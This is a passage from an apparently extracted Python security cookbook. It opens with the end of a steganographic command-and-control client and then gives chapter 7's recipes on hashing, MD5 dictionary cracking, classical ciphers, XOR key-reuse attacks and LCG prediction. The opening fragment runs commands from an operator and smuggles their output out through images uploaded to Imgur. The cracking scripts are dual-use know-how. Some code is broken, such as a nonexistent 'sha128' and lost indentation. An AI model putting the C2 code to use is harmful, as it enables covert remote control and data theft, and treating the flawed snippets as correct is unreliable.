            "text": "Chapter 6\n133\n            args = shlex.split(command)\n            p = subprocess.Popen(args, stdout=subprocess.PIPE,  \n            shell=True)\n            (output, err) = p.communicate()\n            p_status = p.wait()\n            steg_path =  \n            StegoText.hide_message(random.choice  \n            (client.default_memes()).link,  \"{'os':'\" + os.name +  \n            \"', 'uuid':'\" + client_uuid + \"','status':'response',  \n            'response':'\"  \n            + str(base64.b32encode(output)) + \"'}\",  \"Imgur1.png\",  \n            True)\n            uploaded = client.upload_from_path(steg_path)\n            client.album_add_images(a[0].id, uploaded['id'])\n            last_message_datetime = uploaded['datetime']\nAll that's left for the server to do is get the new image, extract the hidden output, and display \nit to the user. It then gives a new prompt and awaits the next command. That's it; it is a very \nsimple way of passing command and control data over steganography.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 157,
            "text": "www.it-ebooks.info\n"
        },
        {
            "page_number": 158,
            "text": "135\n7\nEncryption and \nEncoding\nIn this chapter, we will cover the following topics:\nf\nf\nGenerating an MD5 hash\nf\nf\nGenerating an SHA 1/128/256 hash\nf\nf\nImplementing SHA and MD5 hashes together\nf\nf\nImplementing SHA in a real-world scenario\nf\nf\nGenerating a Bcrypt hash\nf\nf\nCracking an MD5 hash\nf\nf\nEncoding with Base64\nf\nf\nEncoding with ROT13\nf\nf\nCracking a substitution cipher\nf\nf\nCracking the Atbash cipher\nf\nf\nAttacking one-time pad reuse\nf\nf\nPredicting a linear congruential generator\nf\nf\nIdentifying hashes\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 159,
            "text": "Encryption and Encoding\n136\nIntroduction\nIn this chapter, we will be covering encryption and encoding in the world of Python.  \nEncryption and encoding are two very important aspects of web applications, so doing  \nthem using Python!\nWe will be digging into the world of MD5s and SHA hashes, knocking on the door of Base64 \nand ROT13, and taking a look at some of the most popular hashing and ciphers out there.  \nWe will also be turning back time and looking at some very old methods and ways to make \nand break them.\nGenerating an MD5 hash\nThe MD5 hash is one of the most commonly used hashes within web applications due to their \nease of use and the speed at which they are hashed. The MD5 hash was invented in 1991 to \nreplace the previous version, MD4, and it is still used to this day.\nGetting ready\nFor this script, we will only need the hashlib module.\nHow to do it…\nGenerating an MD5 hash within Python is extremely simple, due to the nature of the module \nwe can import. We need to define the module to import and then decide which string we want \nto hash. We should hard code this into the script, but this means the script would have to be \nmodified each time a new string has to be hashed.\nInstead, we use the raw_input feature in Python to ask the user for a string:\nimport hashlib\nmessage = raw_input(\"Enter the string you would like to hash: \")\nmd5 = hashlib.md5(message.encode())\nprint (md5.hexdigest())\nHow it works…\nThe hashlib module does the bulk of the work for us behind the scenes. Hashlib is a \ngiant library that enables users to hash MD5, SHA1, SHA256, and SHA512, among others \nextremely quickly and easily. This is the reasoning for using this module.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 160,
            "text": "Chapter 7\n137\nWe first import the module using the standard method:\nimport hashlib\nWe then need the string that we wish to MD5 encode. As mentioned earlier, this could be \nhard-coded into the script but it's not extremely practical. The way around this is to ask for  \nthe input from the user by using the raw_input feature. This can be achieved by:\nmessage = raw_input(\"Enter what you wish to ask the user here: \")\nOnce we have the input, we can continue to encode the string using hashlib's built-in \nfunctions. For this, we simply call the .encode() function after defining the string we are \ngoing to be using:\nmd5 = hashlib.md5(message.encode())\nFinally, we can print the output of the string that uses the .hexdigest() function. If we do \nnot use hexdigest, the hex representation of each byte will be printed.\nHere is an example of the script in full swing:\nEnter the string you would like to hash: pythonrules\n048c0fc556088fabc53b76519bfb636e\nGenerating an SHA 1/128/256 hash\nSHA hashes are also extremely commonly used, alongside MD5 hashes. The early \nimplementation of SHA hashes started with SHA1, which is less frequently used now  \ndue to the weakness of the hash. SHA1 was followed up with SHA128, which was then \nreplaced by SHA256.\nGetting ready\nOnce again for these scripts, we will only be requiring the hashlib module.\nHow to do it…\nGenerating SHA hashes within Python is also extremely simple by using the imported module. \nWith simple tweaks, we can change whether we would like to generate an SHA1, SHA128, or \nSHA256 hash.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 161,
            "text": "Encryption and Encoding\n138\nThe following are three different scripts that allow us to generate the different SHA hashes:\nHere is the script of SHA1:\nimport hashlib\nmessage = raw_input(\"Enter the string you would like to hash: \")\nsha = hashlib.sha1(message)\nsha1 = sha.hexdigest()\nprint sha1\nHere is the script of SHA128:\nimport hashlib\nmessage = raw_input(\"Enter the string you would like to hash: \")\nsha = hashlib.sha128(message)\nsha128 = sha.hexdigest()\nprint sha128\nHere is the script of SHA256:\nimport hashlib\nmessage = raw_input(\"Enter the string you would like to hash: \")\nsha = hashlib.sha256(message)\nsha256 = sha.hexdigest()\nprint sha256\nHow it works…\nThe hashlib module once again does the bulk of the work for us here. We can utilize the \nfeatures within the module.\nWe start by importing the module by using:\nimport hashlib\nWe then need to prompt for the string to encode using SHA. We ask the user for input  \nrather than using hard-coding, so that the script can be used over and over again.  \nThis can be done with:\nmessage = raw_input(\"Enter the string you would like to hash: )\nOnce we have the string, we can start the encoding process. The next part depends on the \nSHA encoding that you would like to use:\nsha = hashlib.sha*(message)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 162,
            "text": "Chapter 7\n139\nWe need to replace * with either 1, 128, or 256. Once we have the message SHA-encoded,  \nwe need to use the hexdigest() function once again so the output becomes readable.\nWe do this with:\nsha*=sha.hexdigest()\nOnce the output has become readable, we simply need to print the hash output:\nprint sha*\nImplementing SHA and MD5 hashes together\nIn this section, we will see how SHA and MD5 hash work together. \nGetting ready\nFor the following script, we will only require the hashlib module.\nHow to do it…\nWe are going to tie everything previously done together to form one big script. This will output \nthree versions of SHA hashes and also an MD5 hash, so the user can choose which one they \nwould like to use:\nimport hashlib\nmessage = raw_input(\"Enter the string you would like to hash: \")\nmd5 = hashlib.md5(message)\nmd5 = md5.hexdigest()\nsha1 = hashlib.sha1(message)\nsha1 = sha1.hexdigest()\nsha256 = hashlib.sha256(message)\nsha256 = sha256.hexdigest()\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 163,
            "text": "Encryption and Encoding\n140\nsha512 = hashlib.sha512(message)\nsha512 = sha512.hexdigest()\nprint \"MD5 Hash =\", md5\nprint \"SHA1 Hash =\", sha1\nprint \"SHA256 Hash =\", sha256\nprint \"SHA512 Hash =\", sha512\nprint \"End of list.\"\nHow it works…\nOnce again, after importing the correct module into this script, we need to receive the user \ninput that we wish to turn into an encoded string:\nimport hashlib\nmessage = raw_input('Please enter the string you would like to  \n  hash: ')\nFrom here, we can start sending the string through all of the different encoding methods and \nensuring they are passed through hexdigest() so the output becomes readable:\nmd5 = hashlib.md5(message)\nmd5 = md5.hexdigest()\nsha1 = hashlib.sha1(message)\nsha1 = sha1.hexdigest()\nsha256 = hashlib.sha256(message)\nsha256 = sha256.hexdigest()\nsha512 = hashlib.sha512(message)\nsha512 = sha512.hexdigest()\nOnce we have created all of the encoded strings, it is simply a matter of printing each of these \nto the user:\nprint \"MD5 Hash =\", md5\nprint \"SHA1 Hash =\", sha1\nprint \"SHA256 Hash =\", sha256\nprint \"SHA512 Hash =\", sha512\nprint \"End of list.\"\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 164,
            "text": "Chapter 7\n141\nHere is an example of the script in action:\nEnter the string you would like to hash: test\nMD5 Hash = 098f6bcd4621d373cade4e832627b4f6\nSHA1 Hash= a94a8fe5ccb19ba61c4c0873d391e987982fbbd3\nSHA256 Hash=  \n  9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08\nSHA512 Hash=  \n  ee26b0dd4af7e749aa1a8ee3c10ae9923f618980772e473f8819a5d4940e0  \n  db27ac185f8a0e1d5f84f88bc887fd67b143732c304cc5fa9ad8e6f57f50028a8ff\nEnd of list.\nImplementing SHA in a real-world scenario\nThe following is an example of real-life SHA implementation.\nGetting ready\nFor this script, we will need the hashlib library and the uuid library.\nHow to do it…\nFor this real-world example, we will be implementing an SHA256 encoding scheme and \ngenerating a salt to make it even more secure by defeating precomputed hash tables.  \nWe will then run it through password-checking to ensure the password was typed correctly:\n#!/usr/bin/python\nimport uuid\nimport hashlib\n# Let's do the hashing. We create a salt and append it to the  \n  password once hashes.\ndef hash(password):\n    salt = uuid.uuid4().hex\n    return hashlib.sha512(salt.encode() +  \n    password.encode()).hexdigest() + ':' + salt\n# Let's confirm that worked as intended.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 165,
            "text": "Encryption and Encoding\n142\ndef check(hashed, p2):\n    password, salt = hashed.split(':')\n    return password == hashlib.sha512(salt.encode() +  \n    p2.encode()).hexdigest()\npassword = raw_input('Please enter a password: ')\nhashed = hash(password)\nprint('The string to store in the db is: ' + hashed)\nre = raw_input('Please re-enter your password: ')\n# Let's ensure the passwords matched\nif check(hashed, re):\n    print('Password Match')\nelse:\n    print('Password Mismatch')\nHow it works…\nTo begin the script, we need to import the correct libraries:\nimport uuid\nimport hashlib\nWe then need to define the function that will hash the password. We start by creating a \nsalt, using the uuid library. Once the salt has been generated, we use hashlib.sha256 \nto string together the salt encode and the password encode and make it readable by using \nhexdigest and finally appending the salt to the end of it:\ndef hash(password):\n    salt = uuid.uuid4().hex\n    return hashlib.sha512(salt.encode() +  \n    password.encode()).hexdigest() + ':' + salt\nNext, we move onto the check password function. This is what is going to confirm our original \npassword is the same as the second one to ensure there were no mistakes. This is done by \nusing the same method as before:\ndef check(hashed, p2):\n    password, salt = hashed.split(':')\n    return password == hashlib.sha512(salt.encode() +  \n    p2.encode()).hexdigest()\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 166,
            "text": "Chapter 7\n143\nOnce we have created the blocks of code that we need, we can then start asking the user \nfor the required input. We start off by asking for the original password and using the hash_\npassword function to create the hash. This then gets printed out to the user. After the first \npassword has been done, we ask for the password again to ensure there has been no spelling \nmistakes. The check_password function then hashes the password again and compares the \noriginal to the new one. If they match, the user is informed that the password is correct; if not, \nthe user is informed that the passwords do not match:\npassword = raw_input('Please enter a password: ')\nhashed = hash(password)\nprint('The string to store in the db is: ' + hashed)\nre = raw_input('Please re-enter your password: ')\nif check(hashed, re):\n    print('Password Match')\nelse:\n    print('Password Mismatch')\nHere is an example of the code in use:\nPlease enter a password: password\nThe string to store in the db is:  \n  a8be1e0e023e2c9c1e96187c4b966222ccf1b7d34718ad60f8f000094d39  \n  d8dd3eeb837af135bfe50c7baea785ec735ed04f230ffdbe2ed3def1a240c  \n  97ca127:d891b46fc8394eda85ccf85d67969e82\nPlease re-enter your password: password\nPassword Match\nThe preceding result is an example of a user enter the same password twice. Here is an \nexample of the user failing to enter the same password:\nPlease enter a password: password1\nThe string to store in the db is:  \n  418bba0beeaef52ce523dafa9b19baa449562cf034ebd1e4fea8c007dd49cb  \n  1004e10b837f13d59b13236c54668e44c9d0d8dbd03e32cd8afad6eff04541  \n  ed07:1d9cd2d9de5c46068b5c2d657ae45849\nPlease re-enter your password: password\nPassword Mismatch\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 167,
            "text": "Encryption and Encoding\n144\nGenerating a Bcrypt hash\nOne of the less commonly used, yet more secure hash functions, is Bcrypt. Bcrypt hashes \nwere designed to be slow when encrypting and decrypting hashes. This design was used to \nprevent hashes from being easily cracked if hashes got leaked to the public, for example  \nfrom a database exposure.\nGetting ready\nFor this script, we will be using the bcrypt module within Python. This can be installed by \nusing either pip or easy_install, albeit you will want to ensure version 0.4 is installed and \nnot version 1.1.1, as version 1.1.1 removes some functionality from the Bcrypt module.\nHow to do it…\nGenerating Bcrypt hashes within Python is similar to generating other hashes such as  \nSHA and MD5, but also slightly different. Like the other hashes, we can either prompt the  \nuser for a password or hard-code it into the script. The hashing in Bcrypt is more complex \ndue to the use of randomly generated salts, which get appended to the original hash. This \nincreases the complexity of the hash and therefore increases the security of the password \nstored within the hash function.\nThis script also has a checking module at the end, which relates to a real-world example.  \nIt requests the user to re-enter the password they want to hash and ensures that it matches \nthe original input. Password confirmation is a very common practice among many developers \nand in the modern age, nearly every registration form uses this:\nimport bcrypt\n# Let's first enter a password\nnew = raw_input('Please enter a password: ')\n# We'll encrypt the password with bcrypt with the default salt  \n  value of 12\nhashed = bcrypt.hashpw(new, bcrypt.gensalt())\n# We'll print the hash we just generated\nprint('The string about to be stored is: ' + hashed)\n# Confirm we entered the correct password\nplaintext = raw_input('Please re-enter the password to check: ')\n# Check if both passwords match\nif bcrypt.hashpw(plaintext, hashed) == hashed:\n    print 'It\\'s a match!'\nelse:\n    print 'Please try again.'\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 168,
            "text": "Chapter 7\n145\nHow it works…\nWe start the script off by importing the required module. In this case, we only need the \nbcrypt module:\nimport bcrypt\nWe can then request the input from the user by using the standard raw_input method:\nnew = raw_input('Please enter a password: ')\nAfter we have the input, we can get down to the nitty gritty hashing methods. To begin with,  \nwe use the bcrypt.hashpw function to hash the input. We then give it the value of the \ninputted password and then also randomly generate a salt, using bcrypt.gensalt().  \nThis can be achieved by using:\nhashed = bcrypt.hashpw(new, bcrypt.gensalt())\nWe then print the hashed value out to the user, so they can see the hash that has  \nbeen generated:\nprint ('The string about to be stored is: ' + hashed)\nNow, we start the password confirmation. We have to prompt the user for the password  \nagain so that we can confirm that they entered it correctly:\nplaintext = raw_input('Please re-enter the password to check: ')\nOnce we have the password, we check whether both passwords match by using  \nthe == feature within Python:\nIf bcrypt.hashpw(plaintext, hashed) == hashed:\n  print \"It\\'s a match\"\nelse:\n  print \"Please try again\".\nWe can see the script in action as follows:\nPlease enter a password: example\nThe string about to be stored is:  \n  $2a$12$Ie6u.GUpeO2WVjchYg7Pk.741gWjbCdsDlINovU5yubUeqLIS1k8e\nPlease re-enter the password to check: example\nIt's a match!\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 169,
            "text": "Encryption and Encoding\n146\nPlease enter a password: example\nThe string about to be stored is:  \n  $2a$12$uDtDrVCv2vqBw6UjEAYE8uPbfuGsxdYghrJ/YfkZuA7vaMvGIlDGe\nPlease re-enter the password to check: incorrect\nPlease try again.\nCracking an MD5 hash\nSince MD5 is a method of encryption and is publicly available, it is possible to create a hash \ncollision by using common methods of cracking hashes. This in turn \"cracks\" the hash and \nreturns to you the value of the string before it had been put through the MD5 process. This \nis achieved most commonly by a \"dictionary\" attack. This consists of running a list of words \nthrough the MD5 encoding process and checking whether any of them are a match against \nthe MD5 hash you are trying to crack. This works because MD5 hashes are always the same if \nthe same word is hashed.\nGetting ready\nFor this script, we will only need the hashlib module.\nHow to do it…\nTo start cracking the MD5 hashes, we need to load a file containing a list of words that  \nwill be encrypted in MD5. This will allow us to loop through the hashes and check whether  \nwe have a match:\nimport hashlib\ntarget = raw_input(\"Please enter your hash here: \")\ndictionary = raw_input(\"Please enter the file name of your  \n  dictionary: \")\ndef main():\n    with open(dictionary) as fileobj:\n        for line in fileobj:\n            line = line.strip()\n            if hashlib.md5(line).hexdigest() == target:\n                print \"Hash was successfully cracked %s: The value  \n                is %s\" % (target, line)\n                return \"\"\n    print \"Failed to crack the file.\"\nif __name__ == \"__main__\":\n    main()\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 170,
            "text": "Chapter 7\n147\nHow it works…\nWe first start by loading the module into Python as normal:\nimport hashlib\nWe need user input for both the hash we would like to crack and also the name of the \ndictionary we are going to load to crack against:\ntarget = raw_input(\"Please enter your hash here: \")\ndictionary = raw_input(\"Please enter the file name of your  \n  dictionary: \")\nOnce we have the hash we would like to crack and the dictionary, we can continue with the \nencoding. We need to open the dictionary file and encode each string, one by one. We can \nthen check to see whether any of the hashes match the original one we are aiming to crack. If \nthere is a match, our script will then inform us and give us the value:\ndef main():\n    with open(dictionary) as fileobj:\n        for line in fileobj:\n            line = line.strip()\n            if hashlib.md5(line).hexdigest() == target:\n                print \"Hash was successfully cracked %s: The value  \n                is %s\" % (target, line)\n                return \"\"\n    print \"Failed to crack the file.\"\nNow all that's left to do is run the program:\nif __name__ == \"__main__\":\n    main()\nNow let's have a look at the script in action:\nPlease enter your hash here: 5f4dcc3b5aa765d61d8327deb882cf99\nPlease enter the file name of your dictionary: dict.txt\nHash was successfully cracked 5f4dcc3b5aa765d61d8327deb882cf99: The  \n  value is password\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 171,
            "text": "Encryption and Encoding\n148\nEncoding with Base64\nBase64 is an encoding method that is used frequently to this day. It is very easily encoded \nand decoded, which makes it both extremely useful and also dangerous. Base64 is not used \nas commonly anymore to encode sensitive data, but there was a time where it was.\nGetting ready\nThankfully for the Base64 encoding, we do not require any external modules.\nHow to do it…\nTo generate the Base64 encoded string, we can use default Python features to help us \nachieve it:\n#!/usr/bin/python\nmsg = raw_input('Please enter the string to encode: ')\nprint \"Your B64 encoded string is: \" + msg.encode('base64')\nHow it works…\nEncoding a string in Base64 within Python is very simple and can be done in a two-line  \nscript. To begin we need to have the string fed to us as a user input so we have something  \nto work with:\nmsg = raw_input('Please enter the string to encode: ')\nOnce we have the string, we can do the encoding as we print out the result, using  \nmsg.encode('base64'):\nprint \"Your B64 encoded string is: \" + msg.encode('base64')\nHere is an example of the script in action:\nPlease enter the string to encode: This is an example\nYour B64 encoded string is: VghpcyBpcyBhbiBleGFtcGxl\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 172,
            "text": "Chapter 7\n149\nEncoding with ROT13\nROT13 encoding is definitely not the most secure method of encoding anything. Typically, \nROT13 was used many years ago to hide offensive jokes on forums as a kind of Not Safe For \nWork (NSFW) tag so people wouldn't instantly see the remark. These days, it's mostly used \nwithin Capture The Flag (CTF) challenges, and you'll find out why.\nGetting ready\nFor this script, we will need quite specific modules. We will be needing the maketrans \nfeature, and the lowercase and uppercase features from the string module.\nHow to do it…\nTo use the ROT13 encoding method, we need to replicate what the ROT13 cipher actually \ndoes. The 13 indicates that each letter will be moved 13 places along the alphabet scale, \nwhich makes the encoding very easy to reverse:\nfrom string import maketrans, lowercase, uppercase\ndef rot13(message):\n   lower = maketrans(lowercase, lowercase[13:] + lowercase[:13])\n   upper = maketrans(uppercase, uppercase[13:] + uppercase[:13])\n   return message.translate(lower).translate(upper)\nmessage = raw_input('Enter :')\nprint rot13(message)\nHow it works…\nThis is the first of our scripts that doesn't simply require the hashlib module; instead it \nrequires specific features from a string. We can import these using the following:\nfrom string import maketrans, lowercase, uppercase\nNext, we can create a block of code to do the encoding for us. We use the maketrans  \nfeature of Python to tell the interpreter to move the letters 13 places across and to keep \nuppercase within the uppercase and lower within the lower. We then request that it returns \nthe value to us:\ndef rot13(message):\n   lower = maketrans(lowercase, lowercase[13:] + lowercase[:13])\n   upper = maketrans(uppercase, uppercase[13:] + uppercase[:13])\n   return message.translate(lower).translate(upper)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 173,
            "text": "Encryption and Encoding\n150\nWe then need to ask the user for some input so we have a string to work with; this is done in \nthe traditional way:\nmessage = raw_input('Enter :')\nOnce we have the user input, we can then print out the value of our string being passed \nthrough our rot13 block of code:\nprint rot13(message)\nThe following is an example of the code in use:\nEnter :This is an example of encoding in Python\nGuvf vf na rknzcyr bs rapbqvat va Clguba\nCracking a substitution cipher\nThe following is an example of a real-life scenario that was recently encountered. A substitution \ncipher is when letters are replaced by other letters to form a new, hidden message. During a CTF \nthat was hosted by \"NullCon\" we came across a challenge that looked like a substitution cipher. \nThe challenge was:\nFind the key:\nTaPoGeTaBiGePoHfTmGeYbAtPtHoPoTaAuPtGeAuYbGeBiHoTaTmPtHoTmGePoAuGe  \n  ErTaBiHoAuRnTmPbGePoHfTmGeTmRaTaBiPoTmPtHoTmGeAuYbGeTbGeLuTmPtTm  \n  PbTbOsGePbTmTaLuPtGeAuYbGeAuPbErTmPbGeTaPtGePtTbPoAtPbTmGeTbPtEr  \n  GePoAuGeYbTaPtErGePoHfTmGeHoTbAtBiTmBiGeLuAuRnTmPbPtTaPtLuGePoHf  \n  TaBiGeAuPbErTmPbPdGeTbPtErGePoHfTaBiGePbTmYbTmPbBiGeTaPtGeTmTlAt  \n  TbOsGeIrTmTbBiAtPbTmGePoAuGePoHfTmGePbTmOsTbPoTaAuPtBiGeAuYbGeIr  \n  TbPtGeRhGeBiAuHoTaTbOsGeTbPtErGeHgAuOsTaPoTaHoTbOsGeRhGeTbPtErGe \n  PoAuGePoHfTmGeTmPtPoTaPbTmGeAtPtTaRnTmPbBiTmGeTbBiGeTbGeFrHfAuOs  \n  TmPd\nGetting ready\nFor this script, there is no requirement for any external libraries.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 174,
            "text": "Chapter 7\n151\nHow to do it…\nTo solve this problem, we run our string against values in our periodic dictionary and \ntransformed the discovered values into their ascii form. This in returned the output of  \nour final answer:\nstring =  \n  \"TaPoGeTaBiGePoHfTmGeYbAtPtHoPoTaAuPtGeAuYbGeBiHoTaTmPtHoTmGePoA  \n  uGeErTaBiHoAuRnTmPbGePoHfTmGeTmRaTaBiPoTmPtHoTmGeAuYbGeTbGeLuTmP  \n  tTmPbTbOsGePbTmTaLuPtGeAuYbGeAuPbErTmPbGeTaPtGePtTbPoAtPbTmGeTbP  \n  tErGePoAuGeYbTaPtErGePoHfTmGeHoTbAtBiTmBiGeLuAuRnTmPbPtTaPtLuGeP  \n  oHfTaBiGeAuPbErTmPbPdGeTbPtErGePoHfTaBiGePbTmYbTmPbBiGeTaPtGeTmT  \n  lAtTbOsGeIrTmTbBiAtPbTmGePoAuGePoHfTmGePbTmOsTbPoTaAuPtBiGeAuYbG  \n  eIrTbPtGeRhGeBiAuHoTaTbOsGeTbPtErGeHgAuOsTaPoTaHoTbOsGeRhGeTbPtE  \n  rGePoAuGePoHfTmGeTmPtPoTaPbTmGeAtPtTaRnTmPbBiTmGeTbBiGeTbGeFrHfA  \n  uOsTmPd\"\nn=2\nlist = []\nanswer = []\n[list.append(string[i:i+n]) for i in range(0, len(string), n)]\nprint set(list)\nperiodic ={\"Pb\": 82, \"Tl\": 81, \"Tb\": 65, \"Ta\": 73, \"Po\": 84, \"Ge\":  \n  32, \"Bi\": 83, \"Hf\": 72, \"Tm\": 69, \"Yb\": 70, \"At\": 85, \"Pt\": 78,  \n  \"Ho\": 67, \"Au\": 79, \"Er\": 68, \"Rn\": 86, \"Ra\": 88, \"Lu\": 71,  \n  \"Os\": 76, \"Tl\": 81, \"Pd\": 46, \"Rh\": 45, \"Fr\": 87, \"Hg\": 80,  \n  \"Ir\": 77}\nfor value in list:\n    if value in periodic:\n        answer.append(chr(periodic[value]))\nlastanswer = ''.join(answer)\nprint lastanswer\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 175,
            "text": "Encryption and Encoding\n152\nHow it works…\nTo start this script off, we first defined the key string within the script. The n variable was then \ndefined as 2 for later use and two empty lists were created— list and answer:\nstring = --snipped--\nn=2\nlist = []\nanswer = []\nWe then started to create the list, which ran through the string and pulled out the sets of two \nletters and appended them to the list value, which was then printed:\n[list.append(string[i:i+n]) for i in range(0, len(string), n)]\nprint set(list)\nEach of the two letters corresponded to a value in the periodic table, which relates to a \nnumber. Those numbers when transformed into ascii related to a character. Once this was \ndiscovered, we needed to map the elements to their periodic number and store that:\nperiodic ={\"Pb\": 82, \"Tl\": 81, \"Tb\": 65, \"Ta\": 73, \"Po\": 84, \"Ge\":  \n  32, \"Bi\": 83, \"Hf\": 72, \"Tm\": 69, \"Yb\": 70, \"At\": 85, \"Pt\": 78,  \n  \"Ho\": 67, \"Au\": 79, \"Er\": 68, \"Rn\": 86, \"Ra\": 88, \"Lu\": 71,  \n  \"Os\": 76, \"Tl\": 81, \"Pd\": 46, \"Rh\": 45, \"Fr\": 87, \"Hg\": 80,  \n  \"Ir\": 77}\nWe are then able to create a loop that will go through the list of elements that we previously \ncreated and named as list, and map them to the value in the periodic set of data that we \ncreated. As this is running, we can have it append the findings into our answer string while \ntransforming the ascii number to the relevant letter:\nfor value in list:\n    if value in periodic:\n        answer.append(chr(periodic[value]))\nFinally, we need to have the data printed to us:\nlastanswer = ''.join(answer)\nprint lastanswer\nHere is an example of the script running:\nset(['Pt', 'Pb', 'Tl', 'Lu', 'Ra', 'Pd', 'Rn', 'Rh', 'Po', 'Ta',  \n  'Fr', 'Tb', 'Yb', 'Bi', 'Ho', 'Hf', 'Hg', 'Os', 'Ir', 'Ge', 'Tm',  \n  'Au', 'At', 'Er'])\nIT IS THE FUNCTION OF SCIENCE TO DISCOVER THE EXISTENCE OF A GENERAL  \n  REIGN OF ORDER IN NATURE AND TO FIND THE CAUSES GOVERNING THIS  \n  ORDER. AND THIS REFERS IN EQUAL MEASURE TO THE RELATIONS OF MAN -  \n  SOCIAL AND POLITICAL - AND TO THE ENTIRE UNIVERSE AS A WHOLE.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 176,
            "text": "Chapter 7\n153\nCracking the Atbash cipher\nThe Atbash cipher is a simple cipher that uses opposite values in the alphabet to transform \nwords. For example, A is equal to Z and C is equal to X.\nGetting ready\nFor this, we will only need the string module.\nHow to do it…\nSince the Atbash cipher works by using the opposite value of a character in the alphabet,  \nwe can create a maketrans feature to substitute characters:\nimport string\ninput = raw_input(\"Please enter the value you would like to Atbash  \n  Cipher: \")\ntransform = string.maketrans(\n\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\",\n\"ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba\")\nfinal = string.translate(input, transform)\nprint final\nHow it works…\nAfter importing the correct module, we request the input from the user for the value they \nwould like encipher into the Atbash cipher:\nimport string\ninput = raw_input(\"Please enter the value you would like to Atbash  \n  Ciper: \")\nNext, we create the maketrans feature to be used. We do this by listing the first set of \ncharacters that we would like to be substituted and then listing another set of characters  \nthat we will use to replace the previous ones:\ntransform = string.maketrans(\n\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\",\n\"ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba\")\nFinally, we just need to give a value to the transformation, apply it, and print the value out to \nget the end result:\nfinal = string.translate(input, transform)\nprint final\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 177,
            "text": "Encryption and Encoding\n154\nHere is an example of the script in action:\nPlease enter the value you would like to Atbash Cipher: testing\ngvhgrmt\nAttacking one-time pad reuse\nThe concept of a one-time pad was a fundamental core to early cryptography. Basically, a \nphrase is memorized by the various parties and when a message is sent, it is shifted with that \nphrase for each step. For example, if the phrase is apple and the message is i like them, \nthen we add a to i to get j and so on to eventually receive the encoded message.\nMore recently, a lot of malware engineers and bad software engineers used XORing to \nperform the same activity. Where the vulnerability lies and where we can create scripts  \nto be useful is where the same key has been used multiple times. If multiple ascii-based \nstrings have been XORed with the same ascii-based strings, we can brute the strings at the \nsame time by XORing all of them with ascii values character by character.\nThe following script will take a list of XORed values from a file and brute them character  \nby character.\nGetting ready\nPut a list of XORed phrases in a file. Place that file in the same folder as your script  \n(or don't; it just makes it marginally easier if you do).\nHow to do it…\nThe script should look something like this:\nimport sys\nimport string\nf = open(\"ciphers.txt\", \"r\")\nMSGS = f.readlines()\ndef strxor(a, b):  \n    if len(a) > len(b):\n        return \"\".join([chr(ord(x) ^ ord(y)) for (x, y) in  \n        zip(a[:len(b)], b)])\n    else:\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 178,
            "text": "Chapter 7\n155\n        return \"\".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a,  \n        b[:len(a)])])\ndef encrypt(key, msg):\n    c = strxor(key, msg)\n    return c\nfor msg in MSGS:\nfor value in string.ascii_letters:\nfor value2 in string.ascii_letters:\n  for value3 in string.ascii_letters:\nkey = value+value2+value3\nanswer = encrypt(msg, key)\nprint answer[3:]\nHow it works…\nThis script is pretty straightforward. We open a file with the XORed values in them and  \nsplit it by lines:\nf = open(\"ciphers.txt\", \"r\")\nMSGS = f.readlines()\nWe shamelessly use the industry standard XOR python. Basically, this function equates two \nstrings to the same length and XOR them together:\ndef strxor(a, b):  \n    if len(a) > len(b):\n        return \"\".join([chr(ord(x) ^ ord(y)) for (x, y) in  \n        zip(a[:len(b)], b)])\n    else:\n        return \"\".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a,  \n        b[:len(a)])])\ndef encrypt(key, msg):\n    c = strxor(key, msg)\n    return c\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 179,
            "text": "Encryption and Encoding\n156\nWe then run through all ascii values three times to get all the combinations from aaa to zzz \nfor each line in the ciphers.txt file. We assign the value of the ascii loops to the key  \neach time:\nfor msg in MSGS:\nfor value in string.ascii_letters:\nfor value2 in string.ascii_letters:\n  for value3 in string.ascii_letters:\nkey = value+value2+value3\nWe then encrypt the line with the generated key and print it out. We can pipe this a file with \nease, as we've shown throughout the book already:\nanswer = encrypt(msg, key)\nprint answer[3:]\nPredicting a linear congruential generator \nLCGs are used in web applications to create quick and easy pseudo-random numbers.  \nThey are by nature broken and can be easily made to be predictable with enough data.  \nThe algorithm for an LCG is:\n(\n)\n1\nn\nn\nX\naX\nc mod m\n+ =\n+\nHere, X is the current value, a is a fixed multiplier, c is a fixed increment, and m is a fixed \nmodulus. If any data is leaked, such as the multiplier, modulus, and increment in this \nexample, it is possible to calculate the seed and thus the next values.\nGetting ready\nThe situation here is where an application is generating random 2-digit numbers and \nreturning them to you. You have the multiplier, modulus, and increment. This may seem \nstrange, but this has happened in live tests.\nHow to do it…\nHere is the code:\nC = \"\"\nA = \"\"\nM = \"\"\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 180,
